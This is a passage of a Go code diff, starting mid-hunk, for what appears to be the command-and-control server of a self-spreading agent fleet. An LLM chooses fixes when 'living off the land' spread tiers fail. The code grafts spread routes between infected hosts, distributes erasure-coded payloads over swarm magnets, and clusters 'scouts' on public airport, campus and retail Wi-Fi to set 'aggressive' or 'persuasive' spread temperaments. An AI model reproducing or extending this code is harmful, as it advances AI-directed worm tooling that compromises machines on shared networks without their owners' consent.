s.runSurgicalReplay(agentID, snap, cmds, response, promptHash)
|
||||
s.markRun(agentID)
|
||||
return
|
||||
}
|
||||
results := make([]string, 0, len(cmds))
|
||||
for _, cmd := range cmds {
|
||||
@@ -224,12 +303,108 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
||||
}
|
||||
}
|
||||
executed := FormatExecuted(cmds, results)
|
||||
if useCourt {
|
||||
s.emitCourtDebate(agentID, courtDebate, executed)
|
||||
}
|
||||
if s.store != nil {
|
||||
_ = s.store.InsertAIDecision(agentID, promptHash, response, executed, courtMeta)
|
||||
}
|
||||
s.markRun(agentID)
|
||||
}
|
||||
|
||||
func (s *Scheduler) emitCourtDebate(agentID string, transcript CourtDebateTranscript, executed string) {
|
||||
seer := s.chamber.Seer
|
||||
if seer == nil {
|
||||
seer = s.surgical.Seer
|
||||
}
|
||||
if seer != nil {
|
||||
_ = seer.EmitSeerEvent("court_debate", agentID, map[string]interface{}{
|
||||
"type": "court_debate",
|
||||
"agent_id": transcript.AgentID,
|
||||
"agent_name": transcript.AgentName,
|
||||
"clearance": transcript.ClearanceLevel,
|
||||
"evidence": transcript.Evidence,
|
||||
"transcript": transcript.Transcript,
|
||||
"verdict": transcript.Verdict,
|
||||
"commands": transcript.CommandsJSON,
|
||||
"executed": executed,
|
||||
"ts": transcript.Timestamp,
|
||||
})
|
||||
}
|
||||
if s.chamber.Emberwake != nil {
|
||||
s.chamber.Emberwake(agentID, transcript)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Scheduler) runSurgicalReplay(agentID string, snap AgentSnapshot, cmds []Command, response, promptHash string) {
|
||||
trace := SurgicalTraceContext{}
|
||||
if s.surgical.Trace != nil {
|
||||
trace, _ = s.surgical.Trace.TraceForAgent(agentID)
|
||||
}
|
||||
failedTier, _ := firstFailedSpreadTier(snap.LOTLAttempts)
|
||||
strain := ""
|
||||
if s.surgical.StrainLookup != nil {
|
||||
strain = s.surgical.StrainLookup(agentID)
|
||||
}
|
||||
|
||||
surgical, ok := SelectSurgicalCommand(cmds)
|
||||
if !ok {
|
||||
if s.store != nil {
|
||||
_ = s.store.InsertAIDecision(agentID, promptHash, response, "surgical:no_command", nil)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
expanded := ExpandSurgicalCommand(surgical)
|
||||
var dispatched Command
|
||||
var outcome string
|
||||
for _, cmd := range expanded {
|
||||
if cmd.Type == CmdNoop {
|
||||
continue
|
||||
}
|
||||
dispatched = cmd
|
||||
if s.exec == nil {
|
||||
outcome = "no executor"
|
||||
break
|
||||
}
|
||||
sum, execErr := s.exec.Execute(agentID, cmd)
|
||||
if execErr != nil {
|
||||
outcome = "err:" + execErr.Error()
|
||||
} else {
|
||||
outcome = sum
|
||||
}
|
||||
break
|
||||
}
|
||||
if outcome == "" {
|
||||
outcome = "noop"
|
||||
}
|
||||
|
||||
fixType := surgical.Type
|
||||
if dispatched.Type != "" && dispatched.Type != surgical.Type {
|
||||
fixType = surgical.Type + "→" + dispatched.Type
|
||||
}
|
||||
fixArgs := FormatSurgicalFixArgs(surgical)
|
||||
if s.surgical.Strain != nil {
|
||||
_ = s.surgical.Strain.InsertStrainMemory(agentID, trace.SessionID, failedTier, strain, fixType, fixArgs, outcome)
|
||||
}
|
||||
if s.surgical.Seer != nil {
|
||||
_ = s.surgical.Seer.EmitSeerEvent("surgical_replay", agentID, map[string]interface{}{
|
||||
"session_id": trace.SessionID,
|
||||
"failed_tier": failedTier,
|
||||
"strain": strain,
|
||||
"fix_type": fixType,
|
||||
"fix_args": fixArgs,
|
||||
"outcome": outcome,
|
||||
"prompt_hash": promptHash,
|
||||
"response": response,
|
||||
})
|
||||
}
|
||||
executed := fixType + ":" + outcome
|
||||
if s.store != nil {
|
||||
_ = s.store.InsertAIDecision(agentID, promptHash, response, "surgical:"+executed, nil)
|
||||
}
|
||||
}
|
||||
|
||||
const stuckHostFailedTierThreshold = 14
|
||||
|
||||
func (s *Scheduler) ensureCourtRetryClearance(agentID string, cmds []Command) {
|
||||
|
||||
@@ -163,6 +163,98 @@ func TestSchedulerStuckHostTriggersL4Elevation(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
type mockSurgicalTrace struct {
|
||||
trace SurgicalTraceContext
|
||||
ok bool
|
||||
}
|
||||
|
||||
func (m *mockSurgicalTrace) TraceForAgent(string) (SurgicalTraceContext, bool) {
|
||||
return m.trace, m.ok
|
||||
}
|
||||
|
||||
type mockStrainStore struct {
|
||||
mu sync.Mutex
|
||||
rows []string
|
||||
}
|
||||
|
||||
func (m *mockStrainStore) InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome string) error {
|
||||
m.mu.Lock()
|
||||
m.rows = append(m.rows, agentID+":"+fixType+":"+outcome)
|
||||
m.mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
type mockSeer struct {
|
||||
mu sync.Mutex
|
||||
events []string
|
||||
}
|
||||
|
||||
func (m *mockSeer) EmitSeerEvent(eventType, agentID string, payload map[string]interface{}) error {
|
||||
m.mu.Lock()
|
||||
m.events = append(m.events, eventType+":"+agentID)
|
||||
m.mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
func TestSchedulerSurgicalReplayDispatchesOneCommand(t *testing.T) {
|
||||
old := DecideFunc
|
||||
defer func() { DecideFunc = old }()
|
||||
DecideFunc = func(_ context.Context, _, _, _, _ string) (string, error) {
|
||||
return `Rationale: skip broken docker tier.
|
||||
{"commands":[{"type":"skip_tier","args":{"tier":"docker"}}]}`, nil
|
||||
}
|
||||
|
||||
exec := &mockExec{}
|
||||
store := &mockStore{}
|
||||
strain := &mockStrainStore{}
|
||||
seer := &mockSeer{}
|
||||
sched := NewScheduler(
|
||||
&mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1}},
|
||||
&mockSnap{
|
||||
ids: []string{"surg-1"},
|
||||
snap: AgentSnapshot{
|
||||
AgentID: "surg-1", Name: "host",
|
||||
LOTLAttempts: []TierAttempt{
|
||||
{Tier: "vuln_recon", OK: true},
|
||||
{Tier: "docker", OK: false, Error: "daemon down"},
|
||||
},
|
||||
},
|
||||
},
|
||||
exec,
|
||||
store,
|
||||
nil,
|
||||
nil,
|
||||
)
|
||||
sched.SetSurgicalDeps(SurgicalDeps{
|
||||
Trace: &mockSurgicalTrace{
|
||||
trace: SurgicalTraceContext{SessionID: "trace-99", HopIndex: 0, HopCount: 2},
|
||||
ok: true,
|
||||
},
|
||||
Strain: strain,
|
||||
Seer: seer,
|
||||
})
|
||||
sched.lastRun["surg-1"] = time.Now().Add(-2 * time.Minute)
|
||||
sched.Tick()
|
||||
|
||||
exec.mu.Lock()
|
||||
n := len(exec.calls)
|
||||
call := exec.calls
|
||||
exec.mu.Unlock()
|
||||
if n != 1 || call[0].Type != CmdReorderTiers {
|
||||
t.Fatalf("expected single reorder_tiers dispatch, got %+v", call)
|
||||
}
|
||||
strain.mu.Lock()
|
||||
defer strain.mu.Unlock()
|
||||
if len(strain.rows) != 1 {
|
||||
t.Fatalf("strain memory: %v", strain.rows)
|
||||
}
|
||||
seer.mu.Lock()
|
||||
defer seer.mu.Unlock()
|
||||
if len(seer.events) != 1 || seer.events[0] != "surgical_replay:surg-1" {
|
||||
t.Fatalf("seer events: %v", seer.events)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSchedulerCourtRetryElevatesL4(t *testing.T) {
|
||||
old := DecideFunc
|
||||
defer func() { DecideFunc = old }()
|
||||
|
||||
228
server/internal/ai/scout_constellation.go
Normal file
228
server/internal/ai/scout_constellation.go
Normal file
@@ -0,0 +1,228 @@
|
||||
package ai
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
ScoutConstellationMinAgents = 3
|
||||
ScoutConstellationWindow = 10 * time.Minute
|
||||
|
||||
VenueAirport = "airport"
|
||||
VenueCampus = "campus"
|
||||
VenueRetail = "retail"
|
||||
VenueUnknown = "unknown"
|
||||
)
|
||||
|
||||
// ScoutHit is one scout_report observation for constellation clustering.
|
||||
type ScoutHit struct {
|
||||
AgentID string
|
||||
At time.Time
|
||||
ServiceCount int
|
||||
}
|
||||
|
||||
// ScoutConstellation is an active venue cluster keyed by Wi-Fi SSID.
|
||||
type ScoutConstellation struct {
|
||||
SSID string `json:"ssid"`
|
||||
VenueClass string `json:"venue_class"`
|
||||
PersonaPack string `json:"persona_pack"`
|
||||
AgentIDs []string `json:"agent_ids"`
|
||||
Hits int `json:"hits"`
|
||||
FormedAt time.Time `json:"formed_at"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
}
|
||||
|
||||
// ScoutConstellationRegistry tracks scout_report hits and active constellations.
|
||||
type ScoutConstellationRegistry struct {
|
||||
hits map[string][]ScoutHit
|
||||
active map[string]ScoutConstellation
|
||||
agentSSID map[string]string
|
||||
}
|
||||
|
||||
// NewScoutConstellationRegistry returns an empty scout constellation tracker.
|
||||
func NewScoutConstellationRegistry() *ScoutConstellationRegistry {
|
||||
return &ScoutConstellationRegistry{
|
||||
hits: make(map[string][]ScoutHit),
|
||||
active: make(map[string]ScoutConstellation),
|
||||
agentSSID: make(map[string]string),
|
||||
}
|
||||
}
|
||||
|
||||
// Record ingests a scout_report hit. The second return is true when the constellation changed.
|
||||
func (r *ScoutConstellationRegistry) Record(agentID, ssid string, serviceCount int, now time.Time) (ScoutConstellation, bool) {
|
||||
ssid = normalizeScoutSSID(ssid)
|
||||
if ssid == "" || strings.TrimSpace(agentID) == "" {
|
||||
return ScoutConstellation{}, false
|
||||
}
|
||||
if now.IsZero() {
|
||||
now = time.Now().UTC()
|
||||
}
|
||||
|
||||
r.hits[ssid] = append(r.hits[ssid], ScoutHit{
|
||||
AgentID: agentID,
|
||||
At: now,
|
||||
ServiceCount: serviceCount,
|
||||
})
|
||||
r.hits[ssid] = pruneScoutHits(r.hits[ssid], now.Add(-ScoutConstellationWindow))
|
||||
r.agentSSID[agentID] = ssid
|
||||
|
||||
agents, totalHits, maxServices := scoutWindowStats(r.hits[ssid])
|
||||
if len(agents) < ScoutConstellationMinAgents {
|
||||
return ScoutConstellation{}, false
|
||||
}
|
||||
|
||||
venue := InferVenueClass(ssid, maxServices, len(agents))
|
||||
persona := VenuePersonaPack(venue)
|
||||
prev, had := r.active[ssid]
|
||||
changed := !had ||
|
||||
prev.VenueClass != venue ||
|
||||
prev.PersonaPack != persona ||
|
||||
!sameAgentSet(prev.AgentIDs, agents)
|
||||
|
||||
c := ScoutConstellation{
|
||||
SSID: ssid,
|
||||
VenueClass: venue,
|
||||
PersonaPack: persona,
|
||||
AgentIDs: append([]string(nil), agents...),
|
||||
Hits: totalHits,
|
||||
UpdatedAt: now,
|
||||
}
|
||||
if had {
|
||||
c.FormedAt = prev.FormedAt
|
||||
} else {
|
||||
c.FormedAt = now
|
||||
}
|
||||
r.active[ssid] = c
|
||||
return c, changed
|
||||
}
|
||||
|
||||
// Snapshot returns all active scout constellations.
|
||||
func (r *ScoutConstellationRegistry) Snapshot() []ScoutConstellation {
|
||||
out := make([]ScoutConstellation, 0, len(r.active))
|
||||
for _, c := range r.active {
|
||||
out = append(out, c)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ForAgent returns the active constellation for a scout agent, if any.
|
||||
func (r *ScoutConstellationRegistry) ForAgent(agentID string) *ScoutConstellation {
|
||||
ssid, ok := r.agentSSID[strings.TrimSpace(agentID)]
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
c, ok := r.active[ssid]
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
cp := c
|
||||
return &cp
|
||||
}
|
||||
|
||||
// BuildScoutSpreadPolicy returns spread_policy JSON fields for a venue constellation.
|
||||
func BuildScoutSpreadPolicy(constellation ScoutConstellation) map[string]interface{} {
|
||||
temp := PersonaSpreadTemperament(constellation.PersonaPack)
|
||||
return map[string]interface{}{
|
||||
"persona_pack": constellation.PersonaPack,
|
||||
"venue_class": constellation.VenueClass,
|
||||
"constellation_ssid": constellation.SSID,
|
||||
"spread_temperament": temp,
|
||||
"scout_constellation": true,
|
||||
}
|
||||
}
|
||||
|
||||
// InferVenueClass heuristically classifies a Wi-Fi venue from SSID + scout telemetry.
|
||||
func InferVenueClass(ssid string, serviceCount, agentCount int) string {
|
||||
s := strings.ToLower(strings.TrimSpace(ssid))
|
||||
switch {
|
||||
case containsAny(s, "airport", "lounge", "terminal", "inflight", "gogoinflight", "fly", "united", "delta", "ba-wifi"):
|
||||
return VenueAirport
|
||||
case containsAny(s, "edu", "university", "college", "campus", "student", "academic"):
|
||||
return VenueCampus
|
||||
case containsAny(s, "guest", "public", "free", "store", "mall", "shop", "retail", "cafe", "coffee", "starbucks", "walmart", "target"):
|
||||
return VenueRetail
|
||||
case serviceCount >= 20 && agentCount >= ScoutConstellationMinAgents:
|
||||
return VenueAirport
|
||||
case serviceCount >= 12:
|
||||
return VenueCampus
|
||||
default:
|
||||
return VenueUnknown
|
||||
}
|
||||
}
|
||||
|
||||
// VenuePersonaPack maps venue class to a Calibrate persona temperament.
|
||||
func VenuePersonaPack(venue string) string {
|
||||
switch strings.ToLower(strings.TrimSpace(venue)) {
|
||||
case VenueAirport:
|
||||
return PersonaPersuasive
|
||||
case VenueCampus:
|
||||
return PersonaBalanced
|
||||
case VenueRetail:
|
||||
return PersonaAggressive
|
||||
default:
|
||||
return PersonaBalanced
|
||||
}
|
||||
}
|
||||
|
||||
func normalizeScoutSSID(ssid string) string {
|
||||
return strings.TrimSpace(ssid)
|
||||
}
|
||||
|
||||
func pruneScoutHits(hits []ScoutHit, cutoff time.Time) []ScoutHit {
|
||||
out := hits[:0]
|
||||
for _, h := range hits {
|
||||
if !h.At.Before(cutoff) {
|
||||
out = append(out, h)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func scoutWindowStats(hits []ScoutHit) (agents []string, totalHits, maxServices int) {
|
||||
seen := make(map[string]bool)
|
||||
for _, h := range hits {
|
||||
totalHits++
|
||||
if h.ServiceCount > maxServices {
|
||||
maxServices = h.ServiceCount
|
||||
}
|
||||
id := strings.TrimSpace(h.AgentID)
|
||||
if id == "" || seen[id] {
|
||||
continue
|
||||
}
|
||||
seen[id] = true
|
||||
agents = append(agents, id)
|
||||
}
|
||||
return agents, totalHits, maxServices
|
||||
}
|
||||
|
||||
func sameAgentSet(a, b []string) bool {
|
||||
if len(a) != len(b) {
|
||||
return false
|
||||
}
|
||||
seen := make(map[string]int, len(a))
|
||||
for _, id := range a {
|
||||
seen[id]++
|
||||
}
|
||||
for _, id := range b {
|
||||
seen[id]--
|
||||
if seen[id] < 0 {
|
||||
return false
|
||||
}
|
||||
}
|
||||
for _, n := range seen {
|
||||
if n != 0 {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func containsAny(s string, needles ...string) bool {
|
||||
for _, n := range needles {
|
||||
if strings.Contains(s, n) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
90
server/internal/ai/scout_constellation_test.go
Normal file
90
server/internal/ai/scout_constellation_test.go
Normal file
@@ -0,0 +1,90 @@
|
||||
package ai
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestInferVenueClassSSIDHints(t *testing.T) {
|
||||
cases := []struct {
|
||||
ssid string
|
||||
want string
|
||||
svc int
|
||||
agents int
|
||||
}{
|
||||
{"SFO-Airport-Free-WiFi", VenueAirport, 8, 3},
|
||||
{"StateUniversity-Campus", VenueCampus, 6, 3},
|
||||
{"Target-Guest", VenueRetail, 4, 3},
|
||||
{"MyHomeNetwork", VenueUnknown, 2, 3},
|
||||
{"dense-mobile", VenueAirport, 25, 4},
|
||||
{"busy-lan", VenueCampus, 14, 3},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
got := InferVenueClass(tc.ssid, tc.svc, tc.agents)
|
||||
if got != tc.want {
|
||||
t.Fatalf("InferVenueClass(%q)=%q want %q", tc.ssid, got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestVenuePersonaPackMapping(t *testing.T) {
|
||||
if VenuePersonaPack(VenueAirport) != PersonaPersuasive {
|
||||
t.Fatal("airport should be persuasive")
|
||||
}
|
||||
if VenuePersonaPack(VenueRetail) != PersonaAggressive {
|
||||
t.Fatal("retail should be aggressive")
|
||||
}
|
||||
if VenuePersonaPack(VenueCampus) != PersonaBalanced {
|
||||
t.Fatal("campus should be balanced")
|
||||
}
|
||||
}
|
||||
|
||||
func TestScoutConstellationFormsAtThreeAgents(t *testing.T) {
|
||||
reg := NewScoutConstellationRegistry()
|
||||
now := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC)
|
||||
ssid := "Campus-Guest"
|
||||
|
||||
_, changed := reg.Record("scout-1", ssid, 4, now)
|
||||
if changed {
|
||||
t.Fatal("should not form with one scout")
|
||||
}
|
||||
_, changed = reg.Record("scout-2", ssid, 6, now.Add(time.Minute))
|
||||
if changed {
|
||||
t.Fatal("should not form with two scouts")
|
||||
}
|
||||
c, changed := reg.Record("scout-3", ssid, 8, now.Add(2*time.Minute))
|
||||
if !changed {
|
||||
t.Fatal("expected constellation formation")
|
||||
}
|
||||
if c.VenueClass != VenueCampus {
|
||||
t.Fatalf("venue=%q", c.VenueClass)
|
||||
}
|
||||
if c.PersonaPack != PersonaBalanced {
|
||||
t.Fatalf("persona=%q", c.PersonaPack)
|
||||
}
|
||||
if len(c.AgentIDs) != 3 {
|
||||
t.Fatalf("agents=%v", c.AgentIDs)
|
||||
}
|
||||
|
||||
policy := BuildScoutSpreadPolicy(c)
|
||||
if policy["persona_pack"] != PersonaBalanced {
|
||||
t.Fatalf("policy persona=%v", policy["persona_pack"])
|
||||
}
|
||||
if policy["scout_constellation"] != true {
|
||||
t.Fatal("missing scout_constellation flag")
|
||||
}
|
||||
}
|
||||
|
||||
func TestScoutConstellationPrunesOldHits(t *testing.T) {
|
||||
reg := NewScoutConstellationRegistry()
|
||||
base := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC)
|
||||
ssid := "Retail-Free"
|
||||
|
||||
reg.Record("a1", ssid, 3, base.Add(-11*time.Minute))
|
||||
reg.Record("a2", ssid, 3, base.Add(-11*time.Minute))
|
||||
reg.Record("a3", ssid, 3, base)
|
||||
_, changed := reg.Record("a4", ssid, 3, base.Add(time.Minute))
|
||||
if changed {
|
||||
t.Fatal("stale hits should not count toward constellation")
|
||||
}
|
||||
}
|
||||
@@ -33,6 +33,7 @@ func (h *WSHub) relayAtlasGossip(senderID string, hints []atlas.GossipHint) {
|
||||
if len(skips) == 0 {
|
||||
return
|
||||
}
|
||||
h.recordGossipWhisper(senderSubnet, hints)
|
||||
out := Message{
|
||||
Type: "atlas_gossip",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
|
||||
@@ -314,9 +314,34 @@ func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL s
|
||||
if body.SpreadRouteHint != nil {
|
||||
body.SpreadRouteHint.ErasureLanesEnabled = true
|
||||
}
|
||||
if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(h.erasureShards, plan.ShardToken))); err == nil && manifest != nil {
|
||||
if body.SpreadRouteHint == nil {
|
||||
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
|
||||
}
|
||||
body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet
|
||||
body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func shardsFromStore(store *erasure.ShardStore, token string) [][]byte {
|
||||
if store == nil || token == "" {
|
||||
return nil
|
||||
}
|
||||
p, ok := store.ParamsFor(token)
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
total := p.TotalShards()
|
||||
out := make([][]byte, total)
|
||||
for i := 0; i < total; i++ {
|
||||
if sh, ok := store.Get(token, i); ok {
|
||||
out[i] = sh
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) recommendSpreadRoute(req deployPlanRequest, joinLane string) *spreadrouter.SpreadRouteHint {
|
||||
if h.pathTracer == nil {
|
||||
return nil
|
||||
|
||||
@@ -286,6 +286,16 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string,
|
||||
return "fetch_module:" + module, nil
|
||||
case fleetai.CmdReorderTiers:
|
||||
return e.pushReorderTiers(agentID, args)
|
||||
case fleetai.CmdSpreadGraft:
|
||||
sourceID, _ := args["source_agent_id"].(string)
|
||||
if sourceID == "" {
|
||||
return "", fmt.Errorf("spread_graft requires source_agent_id")
|
||||
}
|
||||
graft, err := e.Hub.ApproveFleetGraft(sourceID, agentID)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return "spread_graft:" + graft.GraftTier, nil
|
||||
case fleetai.CmdBulkCommand:
|
||||
return e.runBulkCommand(args)
|
||||
case fleetai.CmdAgentCommand:
|
||||
@@ -303,6 +313,57 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string,
|
||||
return "", err
|
||||
}
|
||||
return action, nil
|
||||
case fleetai.CmdPersonaTweak:
|
||||
persona, _ := args["persona"].(string)
|
||||
if strings.TrimSpace(persona) == "" {
|
||||
return "", fmt.Errorf("persona_tweak requires persona")
|
||||
}
|
||||
e.Hub.mu.Lock()
|
||||
policy := e.Hub.serverPolicy
|
||||
policy.AIPersona = fleetai.NormalizePersona(persona)
|
||||
e.Hub.serverPolicy = policy
|
||||
e.Hub.mu.Unlock()
|
||||
return "persona:" + policy.AIPersona, nil
|
||||
case fleetai.CmdEnableErasure:
|
||||
e.Hub.mu.Lock()
|
||||
policy := e.Hub.serverPolicy
|
||||
policy.ErasureLanesEnabled = true
|
||||
e.Hub.serverPolicy = policy
|
||||
e.Hub.mu.Unlock()
|
||||
return "erasure:on", nil
|
||||
case fleetai.CmdSpreadGraft:
|
||||
sourceID, _ := args["source_agent_id"].(string)
|
||||
tier, _ := args["tier"].(string)
|
||||
if strings.TrimSpace(sourceID) == "" {
|
||||
return "", fmt.Errorf("spread_graft requires source_agent_id")
|
||||
}
|
||||
if e.Hub.db == nil {
|
||||
return "", fmt.Errorf("database unavailable")
|
||||
}
|
||||
source, err := e.Hub.db.GetAgent(strings.TrimSpace(sourceID))
|
||||
if err != nil || source == nil {
|
||||
return "", fmt.Errorf("source agent not found")
|
||||
}
|
||||
skipTiers := []interface{}{}
|
||||
if strings.TrimSpace(tier) != "" {
|
||||
skipTiers = append(skipTiers, strings.TrimSpace(tier))
|
||||
}
|
||||
graftArgs := map[string]interface{}{"graft_source": sourceID, "graft_tier": tier}
|
||||
if source.JoinLane != "" {
|
||||
graftArgs["join_lane"] = source.JoinLane
|
||||
}
|
||||
if len(skipTiers) > 0 {
|
||||
if err := e.pushReorderTiers(agentID, map[string]interface{}{"skip_tiers": skipTiers}); err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
if source.JoinLane != "" {
|
||||
if err := e.Hub.SendAgentCommand(agentID, "discover_and_join", map[string]interface{}{"lane": source.JoinLane}); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return "graft:" + source.JoinLane, nil
|
||||
}
|
||||
return "graft:recorded", nil
|
||||
default:
|
||||
if err := e.Hub.SendAgentCommand(agentID, cmd.Type, args); err != nil {
|
||||
return "", err
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net/http"
|
||||
@@ -44,6 +45,7 @@ func newFleetIntelligenceHub(t *testing.T, aiCfg FleetAIConfigView) (*WSHub, *db
|
||||
hub.SetServerPolicy(ServerPolicy{AIControlEnabled: aiCfg.AIControlEnabled})
|
||||
|
||||
cfgSrc := &mutableFleetAIConfig{view: aiCfg}
|
||||
pathTracer := NewPathTracerHandler(hub)
|
||||
sched := fleetai.NewScheduler(
|
||||
&ConfigAIAdapter{Src: cfgSrc},
|
||||
&WSHubSnapshotAdapter{Hub: hub},
|
||||
@@ -52,6 +54,15 @@ func newFleetIntelligenceHub(t *testing.T, aiCfg FleetAIConfigView) (*WSHub, *db
|
||||
&DatabaseCourtAdapter{DB: database},
|
||||
hub.ClearanceManager(),
|
||||
)
|
||||
sched.SetSurgicalDeps(fleetai.SurgicalDeps{
|
||||
Trace: &PathTraceSurgicalAdapter{Hub: hub, PathTrace: pathTracer},
|
||||
Strain: &DatabaseStrainMemoryAdapter{DB: database},
|
||||
Seer: &HubSeerEmitter{Hub: hub, DB: database},
|
||||
StrainLookup: func(agentID string) string {
|
||||
return StrainFromAgent(hub, agentID)
|
||||
},
|
||||
ErasureActive: func() bool { return hub.PolicyErasureEnabled() },
|
||||
})
|
||||
return hub, database, sched
|
||||
}
|
||||
|
||||
@@ -492,3 +503,130 @@ func TestIntegrationAIOverridesAdaptive(t *testing.T) {
|
||||
t.Fatalf("PushAdaptiveStrategyUpdates should send 0 when AI control enabled, sent=%d", sent)
|
||||
}
|
||||
}
|
||||
|
||||
// TestIntegrationSurgicalReplayFlow exercises pathtrace trace + partial spread failure → surgical fix → strain memory + Seer.
|
||||
func TestIntegrationSurgicalReplayFlow(t *testing.T) {
|
||||
aiCfg := FleetAIConfigView{
|
||||
AIControlEnabled: true, AIEndpoint: "http://127.0.0.1:9/v1",
|
||||
AIModel: "test-model", AIDecisionIntervalSec: 1,
|
||||
}
|
||||
hub, database, sched := newFleetIntelligenceHub(t, aiCfg)
|
||||
|
||||
agentID := "surgical-agent"
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: agentID, Name: "surgical-host", Platform: "windows", Status: "online",
|
||||
SpreadStrain: "#112233",
|
||||
LOTLAttempts: []struct {
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
}{
|
||||
{Tier: "vuln_recon", OK: true},
|
||||
{Tier: "docker", OK: false, Error: "daemon missing"},
|
||||
},
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
sessPayload, _ := json.Marshal(pathTraceSessionPersist{
|
||||
ID: "surgical-sess",
|
||||
AgentIDs: []string{agentID},
|
||||
Hops: []*HopInfo{{AgentID: agentID, AgentName: "surgical-host"}},
|
||||
Error: "spread blocked at docker",
|
||||
})
|
||||
if err := database.UpsertPathTraceSession("surgical-sess", time.Now().UTC(), sessPayload); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var capturedPrompt string
|
||||
oldDecide := fleetai.DecideFunc
|
||||
fleetai.DecideFunc = func(_ context.Context, _, _, systemPrompt, userPrompt string) (string, error) {
|
||||
capturedPrompt = systemPrompt + "\n" + userPrompt
|
||||
return `Rationale: skip docker and retry wsl lane.
|
||||
{"commands":[{"type":"skip_tier","args":{"tier":"docker"}}]}`, nil
|
||||
}
|
||||
t.Cleanup(func() { fleetai.DecideFunc = oldDecide })
|
||||
|
||||
conn := connectIntelAgent(t, hub, agentID, map[string]interface{}{
|
||||
"agent_id": agentID, "hostname": "surgical-host", "platform": "windows", "version": "1.0",
|
||||
})
|
||||
pushPartialSpreadTelemetry(t, conn)
|
||||
|
||||
cmdCh := make(chan string, 1)
|
||||
go func() {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||
for {
|
||||
var msg Message
|
||||
if err := conn.ReadJSON(&msg); err != nil {
|
||||
return
|
||||
}
|
||||
if msg.Type != "adaptive_strategy_update" {
|
||||
continue
|
||||
}
|
||||
cmdCh <- "reorder_tiers"
|
||||
return
|
||||
}
|
||||
}()
|
||||
|
||||
sched.ResetLastRunForTest(agentID, 2*time.Minute)
|
||||
sched.Tick()
|
||||
|
||||
if capturedPrompt == "" {
|
||||
t.Fatal("expected surgical replay LLM prompt")
|
||||
}
|
||||
if strings.Contains(capturedPrompt, "## PROSECUTOR") {
|
||||
t.Fatalf("expected surgical replay prompt, not court: %s", capturedPrompt)
|
||||
}
|
||||
if !strings.Contains(capturedPrompt, "Surgical replay") {
|
||||
t.Fatalf("missing surgical replay header: %s", capturedPrompt)
|
||||
}
|
||||
|
||||
select {
|
||||
case action := <-cmdCh:
|
||||
if action != "reorder_tiers" {
|
||||
t.Fatalf("unexpected dispatch %q", action)
|
||||
}
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("timed out waiting for surgical reorder_tiers on agent WS")
|
||||
}
|
||||
|
||||
strainRows, err := database.ListStrainMemory(agentID, 5)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(strainRows) != 1 || strainRows[0].FailedTier != "docker" {
|
||||
t.Fatalf("strain memory: %+v", strainRows)
|
||||
}
|
||||
seerRows, err := database.ListSeerEvents(5)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(seerRows) != 1 || seerRows[0].EventType != "surgical_replay" {
|
||||
t.Fatalf("seer events: %+v", seerRows)
|
||||
}
|
||||
decisions, err := database.ListAIDecisions(agentID, 5)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(decisions) == 0 || !strings.Contains(decisions[0].CommandsExecuted, "surgical:") {
|
||||
t.Fatalf("expected surgical decision audit, got %+v", decisions)
|
||||
}
|
||||
}
|
||||
|
||||
